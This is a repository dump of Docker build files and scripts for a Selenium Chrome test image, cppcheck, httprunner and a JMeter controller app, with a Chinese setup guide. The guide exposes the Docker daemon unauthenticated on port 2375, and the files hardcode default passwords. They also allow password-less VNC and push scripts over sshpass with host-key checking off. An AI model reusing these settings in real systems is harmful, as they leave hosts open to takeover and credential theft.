104 | #==============================
105 | COPY start-fluxbox.sh \
106 | start-vnc.sh \
107 | /opt/bin/
108 |
109 | #==============================
110 | # Supervisor configuration file
111 | #==============================
112 | COPY selenium-debug.conf /etc/supervisor/conf.d/
113 |
114 |
115 | #============================================
116 | # selenium/standalone-chrome-debug:3.141.0-actinium
117 | #============================================
118 |
119 | USER seluser
120 |
121 | #====================================
122 | # Scripts to run Selenium Standalone
123 | #====================================
124 | COPY start-selenium-standalone.sh /opt/bin/start-selenium-standalone.sh
125 |
126 | #==============================
127 | # Supervisor configuration file
128 | #==============================
129 | COPY selenium.conf /etc/supervisor/conf.d/
130 |
131 |
132 | USER root
133 |
134 | #=============
135 | # chinese
136 | #=============
137 |
138 | RUN apt-get update \
139 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \
140 | && apt-get -y install vim \
141 | && apt-get -y install cron \
142 | && apt-get clean
143 |
144 |
145 | EXPOSE 4444
146 | EXPOSE 5900
147 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.5-test/generate_config:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | CHROME_VERSION=$(/usr/bin/google-chrome -version | awk '{ print $3 }')
4 |
5 | cat <<_EOF
6 | {
7 | "capabilities": [
8 | {
9 | "version": "$CHROME_VERSION",
10 | "browserName": "chrome",
11 | "maxInstances": $NODE_MAX_INSTANCES,
12 | "seleniumProtocol": "WebDriver",
13 | "applicationName": "$NODE_APPLICATION_NAME"
14 | }
15 | ],
16 | "proxy": "org.openqa.grid.selenium.proxy.DefaultRemoteProxy",
17 | "maxSession": $NODE_MAX_SESSION,
18 | "host": "$NODE_HOST",
19 | "port": $NODE_PORT,
20 | "register": true,
21 | "registerCycle": $NODE_REGISTER_CYCLE,
22 | "nodePolling": $NODE_POLLING,
23 | "unregisterIfStillDownAfter": $NODE_UNREGISTER_IF_STILL_DOWN_AFTER,
24 | "downPollingLimit": $NODE_DOWN_POLLING_LIMIT,
25 | "debug": $GRID_DEBUG
26 | }
27 | _EOF
28 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.5-test/selenium-debug.conf:
--------------------------------------------------------------------------------
1 | ; Documentation of this file format -> http://supervisord.org/configuration.html
2 |
3 | ; Priority 0 - xvfb, 5 - fluxbox (debug images), 10 - x11vnc (debug images), 15 - selenium-node
4 |
5 | [program:fluxbox]
6 | priority=5
7 | command=/opt/bin/start-fluxbox.sh
8 | autostart=true
9 | autorestart=false
10 | startsecs=0
11 | startretries=0
12 |
13 | ;Logs
14 | redirect_stderr=false
15 | stdout_logfile=/var/log/supervisor/fluxbox-stdout.log
16 | stderr_logfile=/var/log/supervisor/fluxbox-stderr.log
17 | stdout_logfile_maxbytes=50MB
18 | stderr_logfile_maxbytes=50MB
19 | stdout_logfile_backups=5
20 | stderr_logfile_backups=5
21 | stdout_capture_maxbytes=50MB
22 | stderr_capture_maxbytes=50MB
23 |
24 | [program:vnc]
25 | priority=10
26 | command=/opt/bin/start-vnc.sh
27 | autostart=true
28 | autorestart=false
29 | startsecs=0
30 | startretries=0
31 |
32 | ;Logs
33 | redirect_stderr=false
34 | stdout_logfile=/var/log/supervisor/vnc-stdout.log
35 | stderr_logfile=/var/log/supervisor/vnc-stderr.log
36 | stdout_logfile_maxbytes=50MB
37 | stderr_logfile_maxbytes=50MB
38 | stdout_logfile_backups=5
39 | stderr_logfile_backups=5
40 | stdout_capture_maxbytes=50MB
41 | stderr_capture_maxbytes=50MB
42 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.5-test/selenium.conf:
--------------------------------------------------------------------------------
1 | ; Documentation of this file format -> http://supervisord.org/configuration.html
2 |
3 | ; Priority 0 - xvfb, 5 - fluxbox (debug images), 10 - x11vnc (debug images), 15 - selenium-node
4 |
5 | [program:xvfb]
6 | priority=0
7 | command=/opt/bin/start-xvfb.sh
8 | autostart=true
9 | autorestart=false
10 | startsecs=0
11 | startretries=0
12 |
13 | ;Logs
14 | redirect_stderr=false
15 | stdout_logfile=/var/log/supervisor/xvfb-stdout.log
16 | stderr_logfile=/var/log/supervisor/xvfb-stderr.log
17 | stdout_logfile_maxbytes=50MB
18 | stderr_logfile_maxbytes=50MB
19 | stdout_logfile_backups=5
20 | stderr_logfile_backups=5
21 | stdout_capture_maxbytes=50MB
22 | stderr_capture_maxbytes=50MB
23 |
24 |
25 | [program:selenium-standalone]
26 | priority=15
27 | command=/opt/bin/start-selenium-standalone.sh
28 | autostart=true
29 | autorestart=false
30 | startsecs=0
31 | startretries=0
32 |
33 | ;Logs (all Hub activity redirected to stdout so it can be seen through "docker logs"
34 | redirect_stderr=true
35 | stdout_logfile=/dev/stdout
36 | stdout_logfile_maxbytes=0
37 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.5-test/start-fluxbox.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | #
3 | # IMPORTANT: Change this file only in directory NodeDebug!
4 |
5 | if [ "${START_XVFB}" = true ] ; then
6 | fluxbox -display ${DISPLAY}
7 | else
8 | echo "Fluxbox won't start because Xvfb is configured to not start."
9 | fi
10 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.5-test/start-selenium-standalone.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | #
3 | # IMPORTANT: Change this file only in directory StandaloneDebug!
4 |
5 | java ${JAVA_OPTS} -jar /opt/selenium/selenium-server-standalone.jar \
6 | ${SE_OPTS}
7 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.5-test/start-vnc.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | #
3 | # IMPORTANT: Change this file only in directory NodeDebug!
4 |
5 | if [ "${START_XVFB}" = true ] ; then
6 | if [ ! -z $VNC_NO_PASSWORD ]; then
7 | echo "Starting VNC server without password authentication"
8 | X11VNC_OPTS=
9 | else
10 | X11VNC_OPTS=-usepw
11 | fi
12 |
13 | for i in $(seq 1 10)
14 | do
15 | sleep 1
16 | xdpyinfo -display ${DISPLAY} >/dev/null 2>&1
17 | if [ $? -eq 0 ]; then
18 | break
19 | fi
20 | echo "Waiting for Xvfb..."
21 | done
22 |
23 | x11vnc ${X11VNC_OPTS} -forever -shared -rfbport 5900 -display ${DISPLAY}
24 | else
25 | echo "Vnc won't start because Xvfb is configured to not start."
26 | fi
27 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/3.141.5-test/wrap_chrome_binary:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | WRAPPER_PATH=$(readlink -f /usr/bin/google-chrome)
4 | BASE_PATH="$WRAPPER_PATH-base"
5 | mv "$WRAPPER_PATH" "$BASE_PATH"
6 |
7 | cat > "$WRAPPER_PATH" <<_EOF
8 | #!/bin/bash
9 |
10 | # Note: exec -a below is a bashism.
11 | exec -a "\$0" "$BASE_PATH" --no-sandbox "\$@"
12 | _EOF
13 | chmod +x "$WRAPPER_PATH"
14 |
--------------------------------------------------------------------------------
/docker/Dockerfile/chrome/docker-chrome-setup.md:
--------------------------------------------------------------------------------
1 | # 使用docker版本的chrome来支持UTS的UI自动化
2 |
3 |
4 | ## 1. 需要一个linux服务器
5 |
6 |
7 | 1.`uname -r`命令得到linux内核版本需要 > 3.0
8 |
9 | 2.确认安装docker(docker ps/ systemctl status docker)这里了先省略没有安装的步骤,戳这里按官网安装步骤[dockerhub](https://docs.docker.com/install/linux/docker-ce/centos/)
10 |
11 | 3.安装后或已安装了,确认下是否开放了`2375`端口(netstat -anop | grep 2375),如果确认是docker占用,到这里就结束了,否则看第四步
12 | ```
13 | tcp6 0 0 :::2375 :::* LISTEN 11692/dockerd off (0.00/0/0)
14 | ```
15 |
16 | 4.需要开启docker服务的2375端口,来支持远程访问
17 |
18 | ```
19 | 1. 修改/etc/docker/daemon.json (如果没有这个daemon.json没有,创建就行),添加内容
20 |
21 | {
22 | "hosts":[
23 | "unix:///var/run/docker.sock",
24 | "tcp://0.0.0.0:2375"
25 | ]
26 | }
27 |
28 | 如果已有文件内容,只需在内容底部,{}内添加host内容即可
29 |
30 | 2. 重启docker服务 `systemctl restart docker`
31 |
32 | 提示:这里可能会出现异常,问题排查,/usr/lib/systemd/system/docker.service文件里的ExecStart是否带了-H,导致当前的daeson.json中的-H无法使用,删除ExecStart中的-H 及其参数即可,有什么疑问@jayzhen
33 | ```
34 |
35 | 5.验证下docker服务是否正常,`docker ps`
36 |
37 | ## 2. 使用portainer工具来构建测试使用的uts-chrome客户端
38 |
39 | 1.http://uts.qadev-inc.com:19000/#/containers/new (admin/admin123)添加端点
40 |
41 | * 通过docker的socket通信来建立管理连接
42 |
43 | 2.添加完端点后,从首页列表中点击对应刚刚添加的服务器,去添加容器(6不完成新建)
44 |
45 | * 1.通过首页-> 端点列表->进入到所要操作的机器上
46 |
47 | * 2.进入当前机器的容器列表页
48 |
49 | * 3.已存在的容器列表,点击添加容器
50 |
51 | * 4.新添加容器的配置页
52 |
53 | ```
54 | name: 指的是后面运行的容器名称,最好是英文,且不可重复
55 | 镜像: 为uts-chrome容器的基础镜像,默认填:uts/chrome:3.141.0
56 | 注册表: 是uts-chrome镜像的仓库存储地方,默认选:docker-reg-qadev
57 | 端口映射: 是指容器内容服务的端口对接宿主机的端口,容器内部端口4444: selenium服务的端口,5900:docker桌面服务;需要将两个端口映射到宿主机上,供uts测试使用;端口不可重复
58 | Enable access control : 默认勾选就行,使用administrator方案
59 | ```
60 |
61 | * 5.配置docker容器的选项
62 |
63 | ```shell
64 | 主要配置:
65 | volumes、env、restart policy
66 |
67 | volumes: /dev/shm:/dev/shm (必要配置)
68 |
69 | env: SCREEN_WIDTH=1930、SCREEN_HEIGHT=1090 (可选配置)
70 |
71 | restart policy: always (必选配置)
72 | ```
73 |
74 | * 6.配置restart policy: always
75 |
76 | ## 3. 进入容器命令行模式,进行linux环境参数配置
77 |
78 | ```shell
79 | 1. 为了防止容器日志爆表,`进入容器命令行`设置下ulimit -c 0
80 | 2. 同方式,进入命令行模式,可以使用vim /etc/hosts来修改服务的hosts,以达到测试环境的转变
81 | ```
82 |
83 | * 1.容器列表进入到容器的命令行界面
84 | * 2.连接进入
85 |
86 | * 3.命令行状态,同正常的linux命令行,不建议安装软件
87 |
88 | * 4.断开链接直接点击 `disconnect`
89 |
90 |
91 | ## 4. 已有容器,后续添加只需复制即可
92 |
93 | * 1.找到已存在的容器,点击进入详情页
94 |
95 | * 2.点击复制进入到编辑页
96 |
97 | * 3.修改不可重复的参数,即可提交,生成新的容器
98 |
99 |
100 | * 4.为了防止容器日志爆表,进入容器设置下ulimit -c 0
101 |
102 |
103 | ## 5. 如何查找uts使用的端口
104 |
105 | 服务上使用`dokcer ps`, ports栏中的端口就是我们需要关注的,映射对应4444的就是uts任务执行使用的端口
106 |
107 | ```
108 | CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
109 | 98f1ceb75bd4 docker.qadev.com/shequ_qadev/uts-chrome:3.141.0 "/opt/bin/entry_poin…" 37 minutes ago Up 37 minutes 0.0.0.0:14446->4444/tcp, 0.0.0.0:6902->5900/tcp uts-chrome-14446
110 | f986e14db3fc docker.qadev.com/shequ_qadev/uts-chrome:3.141.0 "/opt/bin/entry_poin…" 38 minutes ago Up 38 minutes 0.0.0.0:14445->4444/tcp, 0.0.0.0:6901->5900/tcp uts-chrome-14445
111 | 8508ffefb713 docker.qadev.com/shequ_qadev/uts-chrome:3.141.0 "/opt/bin/entry_poin…" About an hour ago Up About an hour 0.0.0.0:14444->4444/tcp, 0.0.0.0:6900->5900/tcp uts-chrome-14444
112 | ```
113 |
114 | portainer平台上,容器列表就能看到对应的端口
115 |
--------------------------------------------------------------------------------
/docker/Dockerfile/cppcheck/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM alpine:latest
2 | RUN mkdir /home/cppcheck && cd /home/cppcheck
3 | COPY ./cppcheck-1.90.tar.gz ./
4 | RUN apk update \
5 | && apk upgrade \
6 | && apk add --update make g++ pcre-dev bash sshpass openssh rsync\
7 | && tar -zxf cppcheck-1.90.tar.gz && rm -f cppcheck-1.90.tar.gz \
8 | && cd cppcheck-1.90 \
9 | && make install FILESDIR=/cfg HAVE_RULES=yes CXXFLAGS="-O2 -DNDEBUG --static" -j `getconf _NPROCESSORS_ONLN` \
10 | && strip /usr/bin/cppcheck \
11 | && rm -rf /home/cppcheck
--------------------------------------------------------------------------------
/docker/Dockerfile/cppcheck/build.sh:
--------------------------------------------------------------------------------
1 | if [ ! $# == 3 ];then
2 | echo "Usage: sh $0 num user pw"
3 | exit
4 | else
5 | num=$1
6 | user=$2
7 | pw=$3
8 | sed -i "s#myuser#${user}#" Dockerfile
9 | sed -i "s#mypwd#${pw}#" Dockerfile
10 | docker build --no-cache -t cppcheck:v${num} .
11 | sed -i "s#${user}#myuser#" Dockerfile
12 | sed -i "s#${pw}#mypwd#" Dockerfile
13 | docker tag cppcheck:v${num} docker.qadev.com/jayzhen/cppcheck:v${num}
14 | docker login -u $user -p $pw docker.qadev.com
15 | docker push docker.qadev.com/jayzhen/cppcheck:v${num}
16 | fi
17 |
18 |
--------------------------------------------------------------------------------
/docker/Dockerfile/cppcheck/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | httprunner:
4 | image: docker.qadev.com/jayzhen/cppcheck:v1.0
5 | container_name: cppcheck
6 | restart: always
7 | entrypoint:
8 | - /bin/bash
9 | tty: true
10 | stdin_open: true
--------------------------------------------------------------------------------
/docker/Dockerfile/example/crontab:
--------------------------------------------------------------------------------
1 | 0 10 * * * echo "" >> /tmp/test.txt
--------------------------------------------------------------------------------
/docker/Dockerfile/example/dubbo-admin:
--------------------------------------------------------------------------------
1 | FROM openjdk:8-jdk
2 | RUN mkdir /source && wget https://github.com/apache/incubator-dubbo-ops/archive/0.1.zip && unzip 0.1.zip -d /source
3 | WORKDIR /source/incubator-dubbo-admin-0.1
4 | RUN ./mvnw clean package -Dmaven.test.skip=true
5 |
6 | FROM openjdk:8-jre
7 | LABEL maintainer="dev@dubbo.apache.org"
8 | COPY --from=0 /source/incubator-dubbo-admin-0.1/dubbo-admin-distribution/target/dubbo-admin-0.1.jar /app.jar
9 | ENTRYPOINT ["java","-XX:+UnlockExperimentalVMOptions","-XX:+UseCGroupMemoryLimitForHeap","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"]
10 | EXPOSE 8080
--------------------------------------------------------------------------------
/docker/Dockerfile/example/entrypoint:
--------------------------------------------------------------------------------
1 | FROM alpine:3.18.3
2 |
3 | # CMD ["-H"]
4 |
5 | ENTRYPOINT ["top", "-b"]
6 |
7 | CMD ["-e"]
--------------------------------------------------------------------------------
/docker/Dockerfile/example/ftp:
--------------------------------------------------------------------------------
1 | FROM **/qadev-base/pure-ftpd:hardened.hub
2 |
3 | MAINTAINER Lich <@**.com>
4 |
5 | CMD /run.sh -c 500 -C 500 -l puredb:/etc/pure-ftpd/pureftpd.pdb -E -j -R -P $PUBLICHOST -p 30000:30499
6 |
7 | EXPOSE 21 30000-30499
8 |
--------------------------------------------------------------------------------
/docker/Dockerfile/example/golang:
--------------------------------------------------------------------------------
1 | FROM golang:latest
2 |
3 | WORKDIR /go/src/app
4 | COPY . .
5 |
6 | RUN go get -d -v ./
7 | RUN go install -v ./
8 |
9 | CMD ["app"]
10 |
--------------------------------------------------------------------------------
/docker/Dockerfile/example/jar:
--------------------------------------------------------------------------------
1 | FROM openjdk:8u262-slim
2 | MAINTAINER jayzhen
3 |
4 | ADD server.jar /usr/src
5 | ADD lib/ /usr/src/lib
6 | ADD src/conifg /usr/src/config
7 |
8 | WORKDIR /usr/src
9 |
10 | CMD ["java","-Duser.timezone=Asia/Shanghai","-jar","server.jar"]
11 |
--------------------------------------------------------------------------------
/docker/Dockerfile/example/open-api:
--------------------------------------------------------------------------------
1 | FROM registry.***.net/library/java:8-jre
2 |
3 | ADD build/libs/open-api-0.0.1-SNAPSHOT.jar /usr/src/open-api.jar
4 |
5 | WORKDIR /usr/src
6 |
7 | CMD ["java", "-Duser.timezone=Asia/Shanghai", "-Djava.security.egd=file:/dev/./urandom", "-jar", "open-api.jar", "--spring.profiles.active=test"]
8 |
--------------------------------------------------------------------------------
/docker/Dockerfile/example/webtest:
--------------------------------------------------------------------------------
1 | FROM tomcat:8-jdk11
2 |
3 | MAINTAINER jayzhen
4 |
5 | ADD uts-shadow.war /usr/local/tomcat/webapps/ROOT.war
6 |
7 |
8 |
--------------------------------------------------------------------------------
/docker/Dockerfile/httprunner/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.7-alpine
2 | # Install packages
3 | RUN apk update \
4 | && apk upgrade \
5 | && apk add --update wget bash bc python3-dev libxslt-dev gcc make g++ git rsync openssh sshpass
6 | WORKDIR /data/daemon
7 |
8 | RUN wget http://10.0.0.0:81/httprunner/v3.1.4/sg-runner-3.1.4.tar.gz \
9 | && pip install sg-runner-3.1.4.tar.gz -i https://pypi.tuna.tsinghua.edu.cn/simple \
10 | && rm -f sg-runner-3.1.4.tar.gz
11 |
12 |
--------------------------------------------------------------------------------
/docker/Dockerfile/httprunner/build.sh:
--------------------------------------------------------------------------------
1 | if [ ! $# == 3 ];then
2 | echo "Usage: sh $0 num user pw"
3 | exit
4 | else
5 | num=$1
6 | user=$2
7 | pw=$3
8 | sed -i "s#myuser#${user}#" Dockerfile
9 | sed -i "s#mypwd#${pw}#" Dockerfile
10 | docker build --no-cache -t httprunner:v${num} .
11 | sed -i "s#${user}#myuser#" Dockerfile
12 | sed -i "s#${pw}#mypwd#" Dockerfile
13 | docker tag httprunner:v${num} docker.qadev.com/jayzhen/httprunner:v${num}
14 | docker login -u $user -p $pw docker.qadev.com
15 | docker push docker.qadev.com/jayzhen/httprunner:v${num}
16 | fi
17 |
18 |
--------------------------------------------------------------------------------
/docker/Dockerfile/httprunner/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | httprunner:
4 | image: docker.qadev.com/tools/httprunner:v1.3
5 | container_name: httprunner
6 | restart: always
7 | entrypoint:
8 | - /bin/bash
9 | tty: true
10 | stdin_open: true
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/jmeter/.DS_Store
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM alpine:3.8
2 |
3 | # Install packages
4 | RUN apk update \
5 | && apk upgrade \
6 | && apk add --update git nodejs nodejs-npm python sshpass openjdk8-jre bash tar unzip wget\
7 | && apk add --no-cache openssh\
8 | && rm -rf /var/cache/apk/*
9 | # Install jmeter
10 | RUN mkdir /jmeter \
11 | && cd /jmeter/ \
12 | && wget http://10.1.1.1/jmeter-tgz/apache-jmeter-4.0.tgz \
13 | && tar -xzf apache-jmeter-4.0.tgz \
14 | && rm apache-jmeter-4.0.tgz \
15 | && mkdir /jmeter-plugins \
16 | && cd /jmeter-plugins/ \
17 | && wget http://10.1.1.1/jmeter-tgz/JMeterPlugins-ExtrasLibs-1.4.0.zip \
18 | && unzip -o JMeterPlugins-ExtrasLibs-1.4.0.zip -d /jmeter/apache-jmeter-4.0/ \
19 | && wget http://10.1.1.1/jmeter-tgz/jpgc-perfmon-2.0.zip \
20 | && unzip -o jpgc-perfmon-2.0.zip -d /jmeter/apache-jmeter-4.0
21 | # Set Jmeter Home
22 | ENV JMETER_HOME /jmeter/apache-jmeter-4.0/
23 | # Add Jmeter to the Path
24 | ENV PATH $JMETER_HOME/bin:$PATH
25 |
26 |
27 | # Add nodefile to the Path
28 | ADD start.sh /data/daemon/
29 | WORKDIR /data/daemon
30 | ENV NPM_CONFIG_LOGLEVEL info
31 |
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/README.md:
--------------------------------------------------------------------------------
1 | jmeter-docker 说明文档
2 | ====================
3 | >1.启动办法 sh deploy.sh yes/no
4 | >>(1)除10.1.1.1外,其他机器仅启动jmeternode
5 | >
6 | >>(2)10.1.1.1机器是否重新启动mysql,可以通过添加yes/no标识来区分
7 | >
8 | >>(3)jmeternode中的代码通过git下载后部署,container创建完成后可以直接到内部修改、更新代码
9 | >
10 | >>(4)jmeternode日志文件存放在container内部的/data/daemon/jmeter-docker/jmeternode/log中
11 | >
12 | >>(5)jmeter的过程文件存储在deploy.sh上级目录的uploadfiles文件中,请一定不要删除uploadfiles文件夹,否则所有测试记录将被删除
13 | >
14 | --------------------
15 |
16 | >2.mysql
17 | >>(1)mysql/jmxs.sql中存放数据库文件,将该文件放入/docker-entrypoint-initdb.d/中,即可在创建container的同时创建db。
18 | >
19 | >>(2)mysql中存储jmx文件的部分信息、目标服务器信息和当前压测进程的状态。
20 | >
21 | --------------------
22 |
23 | >3.jmeternode
24 | >>(1)container建立的同时在其内部使用sh start.sh部署并启动服务
25 | >
26 | >>(2)执行jmeter性能测试or压力测试or稳定性测试。
27 | >
28 | >>(3)ssh到目标服务器部署监控脚本和定时任务,echart显示监控结果(cpu、mem等)。
29 | >
30 | >>(4)log.jtl文件过大时不可自动生成html报告,需要下载log.jtl文件并用jmeter客户端打开以查看测试结果。
31 | >
32 | --------------------
33 | >4.执行结果说明
34 | >>(1)文件夹名称为 YYYYMMDDHHmmss_duration 时间_执行分钟数
35 | >
36 | >>(2)log.jtl为jmeter执行的日志。
37 | >
38 | >>(3)result为jmeter执行报告,包含qps、响应时间等。
39 | >
40 | >>(4)process_duration_top/ps为测试时间内性能监测数据。
41 | >
42 | >>(5)chart_process_duration为性能监测结果,包含cpu和mem的使用率等。
43 | >
44 | --------------------
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/deploy.sh:
--------------------------------------------------------------------------------
1 | echo 'start deploy'
2 | host=`ifconfig|grep inet|grep -v 127.0.0.1|grep -v inet6|grep -v '172.'|awk '{print $2}'|head -n 1`
3 | echo 'get host:'$host
4 | workpath=`pwd`
5 | sed -i "s#host_ip#$host#g" $workpath/jmeternode/start.sh
6 | echo 'change host config to '$host
7 |
8 | if [ "$host" = "10.1.1.1" ] && [ $1 = "yes" ]; then
9 | cd $workpath/mysql
10 | docker-compose build
11 | docker-compose up -d
12 | fi
13 |
14 | cd $workpath/jmeternode
15 | docker-compose build
16 | docker-compose up -d
17 |
18 | sed -i "s#$host#host_ip#g" $workpath/jmeternode/start.sh
19 | echo 'change host config to 127.0.0.1'
20 | echo 'end'
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | jmeternode:
4 | build:
5 | context: .
6 | dockerfile: Dockerfile
7 | image: jmeternode
8 | container_name: jmeternode
9 | volumes:
10 | - ../../uploadfiles:/data/daemon/public/files
11 | restart: always
12 | ports:
13 | - 3333:3333
14 | entrypoint:
15 | - /bin/bash
16 | tty: true
17 | stdin_open: true
18 | command:
19 | - start.sh
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/jmeter/jmeternode/.DS_Store
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/add_mem.sh:
--------------------------------------------------------------------------------
1 | ip=$1
2 | user=$2
3 | pw=$3
4 | process=$4
5 | echo "start install mem"
6 | sshpass -p $pw scp -o StrictHostKeyChecking=no -r install.sh $user@$ip:~/
7 | if [ "$process"s == s ];then
8 | sshpass -p $pw ssh -o StrictHostKeyChecking=no $user@$ip "sh ~/install.sh ; rm ~/install.sh"
9 | else
10 | sshpass -p $pw ssh -o StrictHostKeyChecking=no $user@$ip "sh ~/install.sh ; sh ~/mem/addmem_qa.sh $process ; rm ~/install.sh"
11 | fi
12 | echo "stop install mem"
13 |
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/app.js:
--------------------------------------------------------------------------------
1 | var express = require('express')
2 | var serveIndex = require('serve-index')
3 | var app = express()
4 | var mysql = require('mysql')
5 | var ipaddress = getIPAdress();
6 |
7 | var log4js = require('log4js');
8 | log4js.configure('./config/log4j.json');
9 | /**
10 | * This middleware provides a consistent API
11 | * for MySQL connections during request/response life cycle
12 | */
13 | var myConnection = require('express-myconnection')
14 | /**
15 | * Store database credentials in a separate config.js file
16 | * Load the file/module and its values
17 | */
18 | var config = require('./config/config')
19 | var dbOptions = {
20 | host: config.database.host,
21 | user: config.database.user,
22 | password: config.database.password,
23 | port: config.database.port,
24 | database: config.database.db,
25 | dateStrings: config.database.dateStrings
26 | }
27 | /**
28 | * 3 strategies can be used
29 | * single: Creates single database connection which is never closed.
30 | * pool: Creates pool of connections. Connection is auto release when response ends.
31 | * request: Creates new connection per new request. Connection is auto close when response ends.
32 | */
33 | app.use(myConnection(mysql, dbOptions, 'pool'))
34 |
35 | /**
36 | * setting up the templating view engine
37 | */
38 | app.set('view engine', 'ejs')
39 |
40 | /**
41 | * import routes/index.js
42 | */
43 | var index = require('./routes/index')
44 |
45 | /**
46 | * Express Validator Middleware for Form Validation
47 | */
48 | var expressValidator = require('express-validator')
49 | app.use(expressValidator())
50 |
51 |
52 | /**
53 | * body-parser module is used to read HTTP POST data
54 | * it's an express middleware that reads form's input
55 | * and store it as javascript object
56 | */
57 | var bodyParser = require('body-parser')
58 | /**
59 | * bodyParser.urlencoded() parses the text as URL encoded data
60 | * (which is how browsers tend to send form data from regular forms set to POST)
61 | * and exposes the resulting object (containing the keys and values) on req.body.
62 | */
63 | app.use(bodyParser.urlencoded({ extended: true }))
64 | app.use(bodyParser.json())
65 |
66 |
67 | /**
68 | * This module let us use HTTP verbs such as PUT or DELETE
69 | * in places where they are not supported
70 | */
71 | var methodOverride = require('method-override')
72 |
73 | /**
74 | * using custom logic to override method
75 | *
76 | * there are other ways of overriding as well
77 | * like using header & using query value
78 | */
79 | app.use(methodOverride(function (req, res) {
80 | if (req.body && typeof req.body === 'object' && '_method' in req.body) {
81 | // look in urlencoded POST bodies and delete it
82 | var method = req.body._method
83 | delete req.body._method
84 | return method
85 | }
86 | }))
87 |
88 | /**
89 | * This module shows flash messages
90 | * generally used to show success or error messages
91 | *
92 | * Flash messages are stored in session
93 | * So, we also have to install and use
94 | * cookie-parser & session modules
95 | */
96 | app.use(log4js.connectLogger(log4js.getLogger("http"), { level: 'trace' }));
97 |
98 | var flash = require('express-flash')
99 | var cookieParser = require('cookie-parser');
100 | var session = require('express-session');
101 | app.use(cookieParser('keyboard cat'))
102 | app.use(session({
103 | secret: 'keyboard cat',
104 | resave: false,
105 | saveUninitialized: true,
106 | cookie: { maxAge: 60000 }
107 | }))
108 | app.use(flash())
109 | app.use('/public',express.static(require('path').join(__dirname, '/public')));
110 | app.use('/public',serveIndex(__dirname + '/public'));
111 | app.use('/', index)
112 | app.listen(3333, function(){
113 | console.log('Server running at port 3333: http://'+ipaddress+':3333')
114 | })
115 |
116 | /**
117 | * 获取本机IP
118 | * @return {[string]} [IP地址]
119 | */
120 | function getIPAdress() {
121 | var interfaces = require('os').networkInterfaces();
122 | for (var devName in interfaces) {
123 | var iface = interfaces[devName];
124 | for (var i = 0; i < iface.length; i++) {
125 | var alias = iface[i];
126 | if (alias.family === 'IPv4' && alias.address !== '127.0.0.1' && !alias.internal) {
127 | return alias.address;
128 | }
129 | }
130 | }
131 | }
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/config/config.js:
--------------------------------------------------------------------------------
1 | var config = {
2 | database: {
3 | host: '10.1.1.1', // database host
4 | user: 'root', // your database username
5 | password: '12345678', // your database password
6 | port: '3306', // default MySQL port
7 | db: 'test', // your database name
8 | dateStrings: true
9 | },
10 | server: {
11 | host: '127.0.0.1',
12 | port: '3333'
13 | }
14 | }
15 |
16 | module.exports = config
17 |
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/config/log4j.json:
--------------------------------------------------------------------------------
1 | {
2 | "appenders": {
3 | "console": {
4 | "type": "console"
5 | },
6 | "trace": {
7 | "type": "file",
8 | "filename": "log/access.log",
9 | "maxLogSize ": 31457280
10 | },
11 | "http": {
12 | "type": "logLevelFilter",
13 | "appender": "trace",
14 | "level": "trace",
15 | "maxLevel": "trace"
16 | },
17 | "info": {
18 | "type": "dateFile",
19 | "filename": "log/app-info.log",
20 | "pattern": ".yyyy-MM-dd",
21 | "layout": {
22 | "type": "pattern",
23 | "pattern": "[%d{ISO8601}][%5p %z %c] %m"
24 | },
25 | "compress": true
26 | },
27 | "maxInfo": {
28 | "type": "logLevelFilter",
29 | "appender": "info",
30 | "level": "debug",
31 | "maxLevel": "info"
32 | },
33 | "error": {
34 | "type": "dateFile",
35 | "filename": "log/app-error.log",
36 | "pattern": ".yyyy-MM-dd",
37 | "layout": {
38 | "type": "pattern",
39 | "pattern": "[%d{ISO8601}][%5p %z %c] %m"
40 | },
41 | "compress": true
42 | },
43 | "minError": {
44 | "type": "logLevelFilter",
45 | "appender": "error",
46 | "level": "error"
47 | }
48 | },
49 | "categories": {
50 | "default": {
51 | "appenders": [
52 | "console",
53 | "http",
54 | "maxInfo",
55 | "minError"
56 | ],
57 | "level": "all"
58 | }
59 | }
60 | }
--------------------------------------------------------------------------------
/docker/Dockerfile/jmeter/jmeternode/get_mem.sh:
--------------------------------------------------------------------------------
1 | ip=$1
2 | user=$2
3 | pw=$3
4 | process=$4
5 | duration=$5
6 | path=$6
7 | pid=$7
8 | file=$process'_'$duration
9 | filename=$path'/'$file
